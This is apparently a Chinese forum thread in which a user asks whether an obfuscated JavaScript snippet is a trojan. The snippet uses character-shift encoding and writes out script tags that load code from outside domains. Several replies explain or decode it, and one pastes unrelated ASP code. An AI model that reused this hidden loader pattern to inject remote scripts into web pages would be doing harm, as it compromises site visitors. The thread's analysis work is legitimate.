大家好，请问这段代码是什么意思呀，他是木马吗？

Question

<SCRIPT LANGUAGE="JavaScript">
<!--
var HtmlStrings=["=tdsjqu!mbohvbhf>#kbwbtdsjqu#!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;0","0kt/vtfst/62/mb027947:1/kt#>=0tdsjqu>=tdsjqu!mbohvbhf>kbw","btdsjqu!tsd>iuuq;00xxx/63zit/do0benjoo/kt>=0tdsjqu>"];
function psw(st){
  var varS;
  varS="";
  var i;
  for(var a=0;a<st.length;a++){
    i = st.charCodeAt(a); 
    if (i==1) 
      varS=varS+String.fromCharCode('"'.charCodeAt()-1);
    else if (i==2) {
      a++;
      varS+=String.fromCharCode(st.charCodeAt(a));
      }
    else
      varS+=String.fromCharCode(i-1);
  }
  return varS;
};
var num=3;
function S(){
for(i=0;i<num;i++)
  document.write(psw(HtmlStrings[i]));}
S();
// -->
</SCRIPT>

Answer 1

类似一段广告代码js/users/51.la/1XXXXX.js我就不写了，建议你不要运行！

Answer 2

<SCRIPT LANGUAGE="JavaScript">
<!--
var HtmlStrings=["=tdsjqu!mbohvbhf>#kbwbtdsjqu#!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;0","0kt/vtfst/62/mb027947:1/kt#>=0tdsjqu> =tdsjqu!mbohvbhf>kbw","btdsjqu!tsd>iuuq;00xxx/63zit/do0benjoo/kt>=0tdsjqu> "];
function psw(st){
  var varS;
  varS="";
  var i;
  for(var a=0;a <st.length;a++){
    i = st.charCodeAt(a);
    if (i==1)
      varS=varS+String.fromCharCode('"'.charCodeAt()-1);
    else if (i==2) {
      a++;
      varS+=String.fromCharCode(st.charCodeAt(a));
      }
    else
      varS+=String.fromCharCode(i-1);
  }
  return varS;
};
var num=3;
function S(){
  var ss;
  for(i=0;i <num;i++)
    ss += psw(HtmlStrings[i]);
  alert(ss);
}
S();
// -->
</SCRIPT>

Answer 3

<%@ LANGUAGE = VBScript.Encode%>
<%dim conn
On Error Resume Next '容错声明 
response.buffer=true 
dim db,connstr
db="#data.asp"
set Conn = server.CreateObject("ADODB.Connection")
connstr="driver={Microsoft Access Driver (*.mdb)};dbq="& server.MapPath("data/"&db&"")
conn.Open connstr
Function HtmlEncode(Content)
  Content = Replace(Content, ">", "&gt;") 
  Content = Replace(Content, "<", "&lt;")
  Content = Replace(Content, "'", "") 
  HtmlEncode = content 
End FunctionFunction HtmlEncode2(Content)
  Content = Replace(Content, ">", "&gt;") 
  Content = Replace(Content, "<", "&lt;")
  Content = Replace(Content, " ", "&nbsp;")
  Content = Replace(Content, "'", "")
  Content = Replace(Content, vbcrlf,"<br>") 
  HtmlEncode2 = content 
End Function
%>
<!--#include file="setup.asp"-->
<!--#include file="setup1.asp"-->

Answer 4

51.la我想你能搜到许多同样问题的帖子，去google/baidu 搜去吧！

Answer 5

不是木马吧,木马一般是<iframe></firame>
形式的,我们以前也有深表同情

Answer 6

是一段加密了的html,具体的html内容，用上边的函数psw(st)解密就知道了。